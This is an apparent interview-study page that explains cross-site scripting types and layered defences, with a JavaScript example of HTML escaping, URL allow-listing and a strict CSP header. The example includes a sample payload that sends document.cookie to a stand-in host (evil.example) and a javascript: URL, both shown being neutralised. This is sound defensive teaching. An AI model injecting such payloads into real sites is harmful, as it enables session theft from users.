What is XSS?

XSS (Cross-Site Scripting) is a vulnerability where an attacker gets their own JavaScript to run in other users' browsers on your site, usually by injecting it through data that your app renders as HTML without proper escaping.

Types

  • Stored XSS: malicious input is saved (a comment, a profile name) and served to every visitor.
  • Reflected XSS: input from the URL or a form is echoed straight back in the response.
  • DOM-based XSS: client-side JavaScript takes data from location, postMessage or storage and writes it into the DOM unsafely (innerHTML, document.write, eval, href="javascript:...").

What attackers can do

Steal session data and tokens readable by JavaScript, act as the user (change email, make purchases), log keystrokes, show fake login forms, or spread to other users.

Defences (layered)

  1. Escape output by default: React, Vue and Angular escape text in templates. The danger zones are escape hatches: dangerouslySetInnerHTML, v-html, innerHTML.
  2. Use safe DOM APIs: textContent, setAttribute, createElement instead of building HTML strings.
  3. Sanitise when you must render HTML (e.g. rich text): use a well-maintained sanitiser like DOMPurify, or the Sanitizer API (setHTML) where supported.
  4. Validate URLs: allow only http:/https: (and maybe mailto:) in user-provided links, never javascript:.
  5. Content Security Policy (CSP): an HTTP header that blocks inline scripts and untrusted sources; strict CSP with nonces greatly limits damage.
  6. HttpOnly cookies so session cookies cannot be stolen by script.
  7. Trusted Types (Chromium) to enforce safe DOM sinks.

In interviews

Explain that escaping depends on context (HTML body, attribute, URL, JavaScript, CSS), and that frameworks protect you until you bypass them.

Code example

js
1// Context-aware helpers that prevent common XSS mistakes
2const escapeHtml = (s) =>
3 String(s).replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[c]);
4
5function safeUrl(input) {
6 try {
7 const url = new URL(input, "https://app.example.com");
8 return ["http:", "https:", "mailto:"].includes(url.protocol) ? url.href : "#";
9 } catch {
10 return "#";
11 }
12}
13
14const comment = `<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">`;
15const website = "javascript:alert(document.domain)";
16
17// Vulnerable: `<p>${comment}</p>` inserted with innerHTML runs the onerror handler.
18// Safe:
19const html = `<p>${escapeHtml(comment)}</p><a href="${escapeHtml(safeUrl(website))}">site</a>`;
20console.log(html);
21// <p>&lt;img src=x onerror=&quot;fetch(...)&quot;&gt;</p><a href="#">site</a>
22
23console.log(safeUrl("https://example.com/profile"), safeUrl("JaVaScRiPt:alert(1)")); // https://example.com/profile #
24
25// A strict Content-Security-Policy header (set by the server):
26const csp = [
27 "default-src 'self'",
28 "script-src 'self' 'nonce-{random-per-request}'", // no inline scripts without the nonce
29 "object-src 'none'",
30 "base-uri 'none'",
31 "frame-ancestors 'none'",
32].join("; ");
33console.log(csp);

Practice this question

Open it in the study app to track progress, take notes, listen to the answer and work through the rest of the JavaScript set.

Open in study app